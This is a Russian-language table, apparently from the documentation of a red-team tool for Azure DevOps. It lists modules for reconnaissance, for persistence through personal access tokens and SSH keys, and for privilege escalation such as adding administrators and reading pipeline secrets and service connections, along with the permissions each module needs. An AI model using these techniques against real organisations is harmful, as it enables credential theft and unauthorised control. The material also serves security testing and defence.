| Разведка | searchgroup | Нет | |
| Разведка | getgroupmembers | Нет | |
| Разведка | getpermissions | Нет | |
| Разведка | creds | Нет | |
| Разведка | getbuildlogs | Да - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators | |
| Разведка | listbuildlogs | Да - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators | |
| Разведка | searchbuildlogs | Да - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators | |
| Закрепление | createpat | Нет | |
| Закрепление | listpat | Нет | |
| Закрепление | removepat | Нет | |
| Закрепление | createsshkey | Нет | |
| Закрепление | listsshkey | Нет | |
| Закрепление | removesshkey | Нет | |
| Повышение привилегий | addprojectadmin | Да - Project Administrator, Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | removeprojectadmin | Да - Project Administrator, Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | addbuildadmin | Да - Project Administrator, Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | removebuildadmin | Да - Project Administrator, Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | addcollectionadmin | Да - Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | removecollectionadmin | Да - Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | addcollectionbuildadmin | Да - Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | removecollectionbuildadmin | Да - Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | addcollectionbuildsvc | Да - Project Collection Administrator, Project Colection Build Administrators или Project Collection Service Accounts | |
| Повышение привилегий | removecollectionbuildsvc | Да - Project Collection Administrator, Project Colection Build Administrators или Project Collection Service Accounts | |
| Повышение привилегий | addcollectionsvc | Да - Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | removecollectionsvc | Да - Project Collection Administrator или Project Collection Service Accounts | |
| Повышение привилегий | getpipelinevars | Да - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators | |
| Повышение привилегий | getpipelinesecrets | Да - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators | |
| Повышение привилегий | getvariablegroups | Да - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators | |
| Повышение привилегий | getserviceconnections | Да - Project Administrator, Project Collection Administrator или Project Collection Service Accounts |